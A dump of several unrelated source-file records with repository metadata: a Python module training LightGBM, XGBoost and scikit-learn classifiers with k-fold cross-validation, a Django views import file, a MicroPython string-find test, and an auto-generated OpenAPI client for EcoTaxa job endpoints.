oof_preds = np.zeros(x_train.shape[0])
feature_importance_df = pd.DataFrame()
trials = {}
# cv
folds = StratifiedKFold(**conf.model.kfold_params)
for n_fold, (train_idx, valid_idx) in enumerate(folds.split(x_train, y_train)):
start_time = time.time()
train_x, train_y = x_train.iloc[train_idx].copy(), y_train.iloc[train_idx].copy()
valid_x, valid_y = x_train.iloc[valid_idx].copy(), y_train.iloc[valid_idx].copy()
clf = LGBMClassifier(**conf.model.clf_params)
clf.fit(train_x, train_y, eval_set=[(train_x, train_y), (valid_x, valid_y)], **conf.model.train_params)
oof_preds[valid_idx] = clf.predict_proba(valid_x, num_iteration=clf.best_iteration_)[:, 1]
sub_preds += clf.predict_proba(x_test, num_iteration=clf.best_iteration_)[:, 1] / folds.n_splits
score = roc_auc_score(valid_y, oof_preds[valid_idx])
print(f'Fold {(n_fold + 1):2d} AUC : {score:.6f}')
fold_importance_df = pd.DataFrame.from_dict({
"feature": feats,
"importance": clf.feature_importances_,
"fold": n_fold + 1
})
feature_importance_df = pd.concat([feature_importance_df, fold_importance_df], axis=0)
trials[f"Fold{n_fold + 1}"] = {
"val_score": score,
"best_iteration": clf._best_iteration,
"elapsed_time": time.time() - start_time,
"feature_importance_top10": {
row["feature"]: row["importance"] for i, row in fold_importance_df.sort_values("importance", ascending=False).head(10).iterrows()
}
}
del clf, train_x, train_y, valid_x, valid_y
gc.collect()
score = roc_auc_score(y_train, oof_preds)
print(f'Full AUC score {score:.6f}')
trials["Full"] = {
"score": score,
"val_score_mean": np.mean([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)]),
"val_score_std": np.std([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)]),
"feature_importance_top10": {
feature: float(row["importance"]) for feature, row in
feature_importance_df.groupby("feature").agg({"importance": "mean"}).sort_values("importance", ascending=False).head(10).iterrows()
}
}
# write results
output_directory = os.path.join(
conf.dataset.output_directory,
f"{datetime.now().strftime('%m%d%H%M')}_{conf.config_file_name}_{score:.6f}"
)
print(f"write results to {output_directory}")
if not os.path.exists(output_directory):
os.makedirs(output_directory)
with open(os.path.join(output_directory, "result.json"), "w") as fp:
results = {"trials": trials, "config": conf, "features_detail": {"number": len(feats), "names": feats}}
json.dump(results, fp, indent=2)
feature_importance_fname = os.path.join(output_directory, f'feature_importance.pkl')
feature_importance_df.to_pickle(feature_importance_fname)
del feature_importance_df
gc.collect()
oof_preds_df = pd.DataFrame()
oof_preds_df['SK_ID_CURR'] = train['SK_ID_CURR']
oof_preds_df['TARGET'] = oof_preds
oof_preds_df.to_csv(os.path.join(output_directory, f'oof_predictions.csv'), index=False)
del oof_preds_df
gc.collect()
test['TARGET'] = sub_preds
test[['SK_ID_CURR', 'TARGET']].to_csv(os.path.join(output_directory, 'submission.csv'), index=False)
return score
class XGBoost(Model):
# override
def train_and_predict_kfold(self,
train: pd.DataFrame,
test: pd.DataFrame,
feats: List[str],
target: str,
conf: AttrDict
) -> float:
# prepare
x_train = train[feats]
y_train = train[target]
x_test = test[feats]
sub_preds = np.zeros(x_test.shape[0])
oof_preds = np.zeros(x_train.shape[0])
feature_importance_df = pd.DataFrame()
trials = {}
# cv
folds = StratifiedKFold(**conf.model.kfold_params)
for n_fold, (train_idx, valid_idx) in enumerate(folds.split(x_train, y_train)):
start_time = time.time()
train_x, train_y = x_train.iloc[train_idx].copy(), y_train.iloc[train_idx].copy()
valid_x, valid_y = x_train.iloc[valid_idx].copy(), y_train.iloc[valid_idx].copy()
clf = XGBClassifier(**conf.model.clf_params)
clf.fit(train_x, train_y, eval_set=[(valid_x, valid_y)], **conf.model.train_params)
oof_preds[valid_idx] = clf.predict_proba(valid_x)[:, 1]
sub_preds += clf.predict_proba(x_test)[:, 1] / folds.n_splits
score = roc_auc_score(valid_y, oof_preds[valid_idx])
print(f'Fold {(n_fold + 1):2d} AUC : {score:.6f}')
fold_importance_df = pd.DataFrame.from_dict({
"feature": feats,
"importance": clf.feature_importances_,
"fold": n_fold + 1
})
feature_importance_df = pd.concat([feature_importance_df, fold_importance_df], axis=0)
trials[f"Fold{n_fold + 1}"] = {
"val_score": score,
"best_iteration": clf.best_iteration,
"elapsed_time": time.time() - start_time,
"feature_importance_top10": {
row["feature"]: float(row["importance"]) for i, row in fold_importance_df.sort_values("importance", ascending=False).head(10).iterrows()
}
}
del clf, train_x, train_y, valid_x, valid_y
gc.collect()
score = roc_auc_score(y_train, oof_preds)
print(f'Full AUC score {score:.6f}')
trials["Full"] = {
"score": score,
"val_score_mean": np.mean([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)]),
"val_score_std": np.std([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)]),
"feature_importance_top10": {
feature: float(row["importance"]) for feature, row in
feature_importance_df.groupby("feature").agg({"importance": "mean"}).sort_values("importance", ascending=False).head(10).iterrows()
}
}
# write results
output_directory = os.path.join(
conf.dataset.output_directory,
f"{datetime.now().strftime('%m%d%H%M')}_{conf.config_file_name}_{score:.6f}"
)
print(f"write results to {output_directory}")
if not os.path.exists(output_directory):
os.makedirs(output_directory)
with open(os.path.join(output_directory, "result.json"), "w") as fp:
results = {"trials": trials, "config": conf, "features_detail": {"number": len(feats), "names": feats}}
json.dump(results, fp, indent=2)
feature_importance_fname = os.path.join(output_directory, f'feature_importance.pkl')
feature_importance_df.to_pickle(feature_importance_fname)
del feature_importance_df
gc.collect()
oof_preds_df = pd.DataFrame()
oof_preds_df['SK_ID_CURR'] = train['SK_ID_CURR']
oof_preds_df['TARGET'] = oof_preds
oof_preds_df.to_csv(os.path.join(output_directory, f'oof_predictions.csv'), index=False)
del oof_preds_df
gc.collect()
test['TARGET'] = sub_preds
test[['SK_ID_CURR', 'TARGET']].to_csv(os.path.join(output_directory, 'submission.csv'), index=False)
return score
class SKLearnClassifier(Model):
def _get_clf_class(self):
return None
def train_and_predict(self,
train: pd.DataFrame,
test: pd.DataFrame,
feats: List[str],
target: str,
conf: AttrDict,
) -> None:
x_train = train[feats].replace([np.inf, -np.inf], np.nan).fillna(0)
y_train = train[target]
x_test = test[feats].replace([np.inf, -np.inf], np.nan).fillna(0)
if "normalize_feature" in conf and conf.normalize_feature:
sc = StandardScaler()
train_x, train_y = sc.fit_transform(x_train, y_train), y_train
test_x = sc.transform(x_test)
else:
train_x, train_y = x_train, y_train
test_x = x_test
clf = self._get_clf_class()(**conf.model.clf_params)
clf.fit(train_x, train_y, **conf.model.train_params)
sub_preds = clf.predict_proba(test_x)[:, 1]
# write results
output_directory = os.path.join(
conf.dataset.output_directory,
f"{datetime.now().strftime('%m%d%H%M')}_{conf.config_file_name}_train_full_data"
)
print(f"write results to {output_directory}")
if not os.path.exists(output_directory):
os.makedirs(output_directory)
test['TARGET'] = sub_preds
test[['SK_ID_CURR', 'TARGET']].to_csv(os.path.join(output_directory, 'submission.csv'), index=False)
# override
def train_and_predict_kfold(self,
train: pd.DataFrame,
test: pd.DataFrame,
feats: List[str],
target: str,
conf: AttrDict,
save_result: bool=True,
verbose: bool=True
) -> float:
# prepare
x_train = train[feats].replace([np.inf, -np.inf], np.nan).fillna(0)
y_train = train[target]
x_test = test[feats].replace([np.inf, -np.inf], np.nan).fillna(0)
sub_preds = np.zeros(x_test.shape[0])
oof_preds = np.zeros(x_train.shape[0])
trials = {}
# cv
folds = StratifiedKFold(**conf.model.kfold_params)
for n_fold, (train_idx, valid_idx) in enumerate(folds.split(x_train, y_train)):
start_time = time.time()
if "normalize_feature" in conf and conf.normalize_feature:
sc = StandardScaler()
train_x, train_y = sc.fit_transform(x_train.iloc[train_idx].copy()), y_train.iloc[train_idx].copy()
valid_x, valid_y = sc.transform(x_train.iloc[valid_idx].copy()), y_train.iloc[valid_idx].copy()
else:
train_x, train_y = x_train.iloc[train_idx].copy(), y_train.iloc[train_idx].copy()
valid_x, valid_y = x_train.iloc[valid_idx].copy(), y_train.iloc[valid_idx].copy()
clf = self._get_clf_class()(**conf.model.clf_params)
clf.fit(train_x, train_y, **conf.model.train_params)
oof_preds[valid_idx] = clf.predict_proba(valid_x)[:, 1]
if "normalize_feature" in conf and conf.normalize_feature:
sub_preds += clf.predict_proba(sc.transform(x_test))[:, 1] / folds.n_splits
else:
sub_preds += clf.predict_proba(x_test)[:, 1] / folds.n_splits
score = roc_auc_score(valid_y, oof_preds[valid_idx])
if verbose:
print(f'Fold {(n_fold + 1):2d} AUC : {score:.6f}')
trials[f"Fold{n_fold + 1}"] = {
"val_score": score,
"elapsed_time": time.time() - start_time
}
del clf, train_x, train_y, valid_x, valid_y
gc.collect()
score = roc_auc_score(y_train, oof_preds)
if verbose:
print(f'Full AUC score {score:.6f}')
if save_result:
trials["Full"] = {
"score": score,
"val_score_mean": np.mean([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)]),
"val_score_std": np.std([trials[f"Fold{n_fold + 1}"]["val_score"] for n_fold in range(folds.n_splits)])
}
# write results
output_directory = os.path.join(
conf.dataset.output_directory,
f"{datetime.now().strftime('%m%d%H%M')}_{conf.config_file_name}_{score:.6f}"
)
if verbose:
print(f"write results to {output_directory}")
if not os.path.exists(output_directory):
os.makedirs(output_directory)
with open(os.path.join(output_directory, "result.json"), "w") as fp:
results = {"trials": trials, "config": conf, "features_detail": {"number": len(feats), "names": feats}}
json.dump(results, fp, indent=2)
oof_preds_df = pd.DataFrame()
oof_preds_df['SK_ID_CURR'] = train['SK_ID_CURR']
oof_preds_df['TARGET'] = oof_preds
oof_preds_df.to_csv(os.path.join(output_directory, f'oof_predictions.csv'), index=False)
del oof_preds_df
gc.collect()
test['TARGET'] = sub_preds
test[['SK_ID_CURR', 'TARGET']].to_csv(os.path.join(output_directory, 'submission.csv'), index=False)
return score
class LogReg(SKLearnClassifier):
def _get_clf_class(self):
return LogisticRegression
class RandomForest(SKLearnClassifier):
def _get_clf_class(self):
return RandomForestClassifier
class KNN(SKLearnClassifier):
def _get_clf_class(self):
return KNeighborsClassifier
| 40.774799
| 156
| 0.575054
| 1,867
| 15,209
| 4.418318
| 0.096947
| 0.02473
| 0.016123
| 0.020366
| 0.899139
| 0.889684
| 0.872954
| 0.851861
| 0.846891
| 0.837556
| 0
| 0.006147
| 0.304688
| 15,209
| 372
| 157
| 40.884409
| 0.773901
| 0.007561
| 0
| 0.761246
| 0
| 0.013841
| 0.121286
| 0.028912
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031142
| false
| 0
| 0.141869
| 0.013841
| 0.221453
| 0.034602
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e4d1deff907a28536d2009a69bc8f9d523535991
| 163
|
py
|
Python
|
src/media_list/views/__init__.py
|
mincem/media_list
|
ed255c37feaf94da82851627466719a2af95635e
|
[
"MIT"
] | null | null | null |
src/media_list/views/__init__.py
|
mincem/media_list
|
ed255c37feaf94da82851627466719a2af95635e
|
[
"MIT"
] | 2
|
2020-08-02T17:25:09.000Z
|
2022-03-12T00:12:46.000Z
|
src/media_list/views/__init__.py
|
mincem/media_list
|
ed255c37feaf94da82851627466719a2af95635e
|
[
"MIT"
] | null | null | null |
from . import base_views, manga_views, movie_views
from .base_views import *
from .manga_views import *
from .movie_views import *
from .batch_importer import *
| 20.375
| 50
| 0.785276
| 24
| 163
| 5.041667
| 0.333333
| 0.272727
| 0.371901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147239
| 163
| 7
| 51
| 23.285714
| 0.870504
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
90063228f8d7792062a836b2747f6462f5657cdc
| 419
|
py
|
Python
|
tests/basics/string_find.py
|
bygreencn/micropython
|
3f759b71c63f5e01df18a6e204c50f78d1b6a20b
|
[
"MIT"
] | 1
|
2019-05-07T15:01:19.000Z
|
2019-05-07T15:01:19.000Z
|
tests/basics/string_find.py
|
bygreencn/micropython
|
3f759b71c63f5e01df18a6e204c50f78d1b6a20b
|
[
"MIT"
] | null | null | null |
tests/basics/string_find.py
|
bygreencn/micropython
|
3f759b71c63f5e01df18a6e204c50f78d1b6a20b
|
[
"MIT"
] | null | null | null |
print("hello world".find("ll"))
print("hello world".find("ll", None))
print("hello world".find("ll", 1))
print("hello world".find("ll", 1, None))
print("hello world".find("ll", None, None))
print("hello world".find("ll", 1, -1))
print("hello world".find("ll", 1, 1))
print("hello world".find("ll", 1, 2))
print("hello world".find("ll", 1, 3))
print("hello world".find("ll", 1, 4))
print("hello world".find("ll", 1, 5))
| 34.916667
| 43
| 0.622912
| 73
| 419
| 3.575342
| 0.150685
| 0.421456
| 0.632184
| 0.800766
| 0.984674
| 0.904215
| 0.45977
| 0.260536
| 0.260536
| 0.260536
| 0
| 0.036939
| 0.095465
| 419
| 11
| 44
| 38.090909
| 0.651715
| 0
| 0
| 0
| 0
| 0
| 0.341289
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
90256ccc12d7800c1805546e5e42af6edc063af9
| 30,799
|
py
|
Python
|
ecotaxa_py_client/api/jobs_api.py
|
ecotaxa/ecotaxa_py_client
|
956e80a9eaa989679b8d5a108a466013c69ca08f
|
[
"RSA-MD"
] | 1
|
2022-03-01T01:56:42.000Z
|
2022-03-01T01:56:42.000Z
|
ecotaxa_py_client/api/jobs_api.py
|
ecotaxa/ecotaxa_py_client
|
956e80a9eaa989679b8d5a108a466013c69ca08f
|
[
"RSA-MD"
] | 3
|
2021-12-23T04:48:50.000Z
|
2022-01-18T14:01:50.000Z
|
ecotaxa_py_client/api/jobs_api.py
|
ecotaxa/ecotaxa_py_client
|
956e80a9eaa989679b8d5a108a466013c69ca08f
|
[
"RSA-MD"
] | null | null | null |
"""
EcoTaxa
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: 0.0.28
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from ecotaxa_py_client.api_client import ApiClient, Endpoint as _Endpoint
from ecotaxa_py_client.model_utils import ( # noqa: F401
check_allowed_values,
check_validations,
date,
datetime,
file_type,
none_type,
validate_and_convert_types
)
from ecotaxa_py_client.model.http_validation_error import HTTPValidationError
from ecotaxa_py_client.model.job_model import JobModel
class JobsApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
self.erase_job_endpoint = _Endpoint(
settings={
'response_type': (bool, date, datetime, dict, float, int, list, str, none_type,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}',
'operation_id': 'erase_job',
'http_method': 'DELETE',
'servers': None,
},
params_map={
'all': [
'job_id',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client
)
self.get_job_endpoint = _Endpoint(
settings={
'response_type': (JobModel,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}/',
'operation_id': 'get_job',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'job_id',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client
)
self.get_job_file_endpoint = _Endpoint(
settings={
'response_type': (bool, date, datetime, dict, float, int, list, str, none_type,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}/file',
'operation_id': 'get_job_file',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'job_id',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json',
'application/zip',
'text/tab-separated-values'
],
'content_type': [],
},
api_client=api_client
)
self.get_job_log_file_endpoint = _Endpoint(
settings={
'response_type': (bool, date, datetime, dict, float, int, list, str, none_type,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}/log',
'operation_id': 'get_job_log_file',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'job_id',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client
)
self.list_jobs_endpoint = _Endpoint(
settings={
'response_type': ([JobModel],),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/',
'operation_id': 'list_jobs',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'for_admin',
],
'required': [
'for_admin',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'for_admin':
(bool,),
},
'attribute_map': {
'for_admin': 'for_admin',
},
'location_map': {
'for_admin': 'query',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client
)
self.reply_job_question_endpoint = _Endpoint(
settings={
'response_type': (bool, date, datetime, dict, float, int, list, str, none_type,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}/answer',
'operation_id': 'reply_job_question',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'job_id',
'body',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
'body':
({str: (bool, date, datetime, dict, float, int, list, str, none_type)},),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
'body': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client
)
self.restart_job_endpoint = _Endpoint(
settings={
'response_type': (bool, date, datetime, dict, float, int, list, str, none_type,),
'auth': [
'BearerOrCookieAuth'
],
'endpoint_path': '/jobs/{job_id}/restart',
'operation_id': 'restart_job',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'job_id',
],
'required': [
'job_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'job_id':
(int,),
},
'attribute_map': {
'job_id': 'job_id',
},
'location_map': {
'job_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client
)
def erase_job(
self,
job_id,
**kwargs
):
"""Erase Job # noqa: E501
**Delete the job** from DB, with associated storage. Return **NULL upon success.** If the job is running then kill it. 🔒 The job must be accessible to current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.erase_job(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
bool, date, datetime, dict, float, int, list, str, none_type
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['job_id'] = \
job_id
return self.erase_job_endpoint.call_with_http_info(**kwargs)
def get_job(
self,
job_id,
**kwargs
):
"""Get Job # noqa: E501
Returns **information about the job** corresponding to the given id. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_job(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
JobModel
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['job_id'] = \
job_id
return self.get_job_endpoint.call_with_http_info(**kwargs)
def get_job_file(
self,
job_id,
**kwargs
):
"""Get Job File # noqa: E501
**Return the file produced by given job.** 🔒 The job must be accessible to current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_job_file(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
bool, date, datetime, dict, float, int, list, str, none_type
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['job_id'] = \
job_id
return self.get_job_file_endpoint.call_with_http_info(**kwargs)
def get_job_log_file(
self,
job_id,
**kwargs
):
"""Get Job Log File # noqa: E501
**Return the log file produced by given job.** 🔒 The job must be accessible to current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_job_log_file(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
bool, date, datetime, dict, float, int, list, str, none_type
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['job_id'] = \
job_id
return self.get_job_log_file_endpoint.call_with_http_info(**kwargs)
def list_jobs(
self,
for_admin,
**kwargs
):
"""List Jobs # noqa: E501
**Return the jobs** for current user, or all of them if admin is asked for. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_jobs(for_admin, async_req=True)
>>> result = thread.get()
Args:
for_admin (bool): If FALSE return the jobs for current user, else return all of them.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[JobModel]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['for_admin'] = \
for_admin
return self.list_jobs_endpoint.call_with_http_info(**kwargs)
def reply_job_question(
self,
job_id,
**kwargs
):
"""Reply Job Question # noqa: E501
**Send answers to last question.** The job resumes after it receives the reply. Return **NULL upon success.** *Note: It's only about data storage here.* If the data is technically NOK e.g. not a JS object, standard 422 error should be thrown. If the data is incorrect from consistency point of view, the job will return in Asking state. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.reply_job_question(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
body ({str: (bool, date, datetime, dict, float, int, list, str, none_type)}): [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
bool, date, datetime, dict, float, int, list, str, none_type
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
